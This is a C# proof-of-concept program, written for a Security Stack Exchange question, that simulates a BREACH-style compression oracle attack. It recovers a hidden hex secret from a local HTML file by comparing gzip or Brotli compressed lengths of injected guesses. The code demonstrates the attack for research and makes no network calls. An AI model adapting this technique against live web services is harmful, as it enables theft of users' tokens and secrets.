Compression oracle attack against gzip/brotli

using System;
using System.Collections.Concurrent;
using System.IO;
using System.IO.Compression;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

/*
Compression oracle attack against gzip/brotli
Implemented for https://security.stackexchange.com/questions/172188/brotli-compression-algorithm-and-breach-attack
Written by Polynomial [@gsuberland]
*/

namespace BrotliOracleAttackTest
{
    class Program
    {
        static void Main(string[] args)
        {
            // file to target. it has a hidden form input tag that contains a 32 character hexadecimal secret in it.
            string input = File.ReadAllText(@"N:\Research\compression_oracles\example.html");

            // start of the string that we're going to inject.
            // this ties our incremental injections to the field we want to target.
            string injectionBase = "<input type=\"hidden\" name=\"secret\" value=\"";

            // if we already know the start of the hidden token we can include it here.
            // this is usually blank (no knowledge of secret)
            string guessedValues = "";

            // how long is the secret we're looking for?
            const int secretLength = 32;

            // the number of chars we search for in each step
            const int defaultBlockSize = 4;

            // the number of characters to accept out of each block's best guess
            // the smaller this is, the more reliable the algorithm is, but it runs slower too
            // 2 is a good value for Brotli, 3 works well with gzip
            // must be <= defaultBlockSize
            const int charactersToAcceptPerBlock = 2;

            // which function do we want to use?
            // CompressGzip and CompressBrotli are the two options here
            Func<string, long> CompressionFunction = CompressBrotli;

            // used for thread sync when updating the result from multiple threads
            object resultLock = new object();

            while (guessedValues.Length < secretLength)
            {
                // these keep track of the smallest compression result we got so far
                long smallestSize = long.MaxValue;
                int smallestValue = 0;

                int blockSize = defaultBlockSize;

                // have we reached the last few characters? if so we need to tweak the block size
                bool lastBlock = false;
                if (secretLength - guessedValues.Length < 4)
                {
                    blockSize = secretLength - guessedValues.Length;
                    lastBlock = true;
                    Console.WriteLine("Reached last block.");
                }

                // the loop bound for this block size
                // (e.g. 3 -> 4096 = 000 to fff, 4 -> 65536 = 0000 to ffff)
                int loopMax = (int)Math.Pow(16, blockSize);

                // this counts how many iterations we've done in the parallel loop
                // used only for displaying progress dots to the user
                long progress = 0;

                Parallel.ForEach(
                    Partitioner.Create(0, loopMax),
                    new ParallelOptions
                    {
                        MaxDegreeOfParallelism = 8,
                    },
                    () => new Tuple<long, int>(int.MaxValue, 0),
                    (range, _, smallestResult) =>
                    {
                        long threadSmallestSize = smallestResult.Item1;
                        int threadSmallestValue = smallestResult.Item2;

                        // build the target string with the static part of the injection
                        string inputModdedBase = input + injectionBase + guessedValues;

                        // search values for the smallest compression result
                        for (int b = range.Item1; b < range.Item2; b++)
                        {
                            // this formats b as hex characters, padded to the right length for the block
                            string inputModded = inputModdedBase + string.Format("{0:x" + blockSize + "}", b);

                            // if we're on the last block, add the last bit of HTML to terminate the tag
                            // this improves the accuract of the last block significantly
                            if (lastBlock)
                            {
                                inputModded += "\" />";
                            }

                            // compress the original HTML + injected stuff together and see how long it is
                            long size = CompressionFunction(inputModded);

                            // was the result smaller than our current best guess?
                            if (size < threadSmallestSize)
                            {
                                // update current best guess
                                threadSmallestSize = size;
                                threadSmallestValue = b;
                            }

                            // update progress and print a dot if needed
                            if (Interlocked.Increment(ref progress) % 2048 == 0)
                            {
                                Console.Write(".");
                            }
                        }

                        // return our best guess for this current thread
                        return new Tuple<long, int>(threadSmallestSize, threadSmallestValue);
                    },
                    smallestResult =>
                    {
                        // update the main guess variables if the thread that just completed had the best guess
                        lock (resultLock)
                        {
                            if (smallestResult.Item1 < smallestSize)
                            {
                                smallestSize = smallestResult.Item1;
                                smallestValue = smallestResult.Item2;
                            }
                        }
                    }
                );

                // print our guessed block
                Console.WriteLine();
                Console.WriteLine("Guessed {0:x" + blockSize + "}", smallestValue);

                // add the block to our total guess
                if (!lastBlock)
                    guessedValues += string.Format("{0:x" + blockSize + "}", smallestValue).Substring(0, charactersToAcceptPerBlock);
                else
                    guessedValues += string.Format("{0:x" + blockSize + "}", smallestValue);

                Console.WriteLine("Secret: " + guessedValues);
            }

            Console.WriteLine("Done!");
            Console.ReadLine();
        }

        static long CompressBrotli(string str)
        {
            var bytes = Encoding.ASCII.GetBytes(str);

            using (var msi = new MemoryStream(bytes))
            using (var mso = new MemoryStream())
            {
                using (var gs = new BrotliStream(mso, CompressionLevel.Fastest))
                {
                    msi.CopyTo(gs);
                }
                return mso.ToArray().Length;
            }
        }

        static long CompressGzip(string str)
        {
            var bytes = Encoding.ASCII.GetBytes(str);

            using (var msi = new MemoryStream(bytes))
            using (var mso = new MemoryStream())
            {
                using (var gs = new GZipStream(mso, CompressionMode.Compress))
                {
                    msi.CopyTo(gs);
                }
                return mso.ToArray().Length;
            }
        }
    }
}